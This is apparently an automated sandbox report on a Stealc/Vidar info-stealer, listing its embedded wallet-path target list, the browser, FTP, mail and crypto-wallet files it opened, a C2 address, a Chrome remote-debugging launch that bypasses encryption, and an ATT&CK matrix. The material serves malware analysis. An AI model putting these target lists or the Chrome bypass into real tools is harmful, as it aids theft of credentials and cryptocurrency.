Source: file.exe, 00000000.00000002.2558803779.0000000000F8C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2558803779.0000000001027000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Desktop (old)
Source: file.exe, 00000000.00000002.2558803779.0000000000F8C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2558803779.0000000000F8C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2558803779.0000000001027000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2558803779.0000000001027000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000000.00000002.2558803779.0000000000F8C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2558803779.0000000001027000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: passphrase.json
Source: file.exe, 00000000.00000002.2558803779.0000000001027000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000000.00000002.2558803779.0000000000F8C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2558803779.0000000001027000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Exodus\exodus.wallet
Source: file.exe, 00000000.00000002.2558172781.0000000000B63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16fons\AppData\Roaming\Binance\simple-storage.json
Source: file.exe, 00000000.00000002.2558803779.0000000001027000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000000.00000002.2558803779.0000000000F8C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2558803779.0000000001027000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe, 00000000.00000002.2558803779.0000000001027000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2558803779.0000000001027000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: file.exe, 00000000.00000002.2558803779.0000000001027000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000002.2558803779.0000000000F8C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2558803779.0000000000F8C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2558803779.0000000000F8C000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6092, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.2058605500.0000000004F70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2558172781.0000000000AEE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2558803779.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6092, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6092, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	12 Process Injection	3 Obfuscated Files or Information	Security Account Manager	235 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	24 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
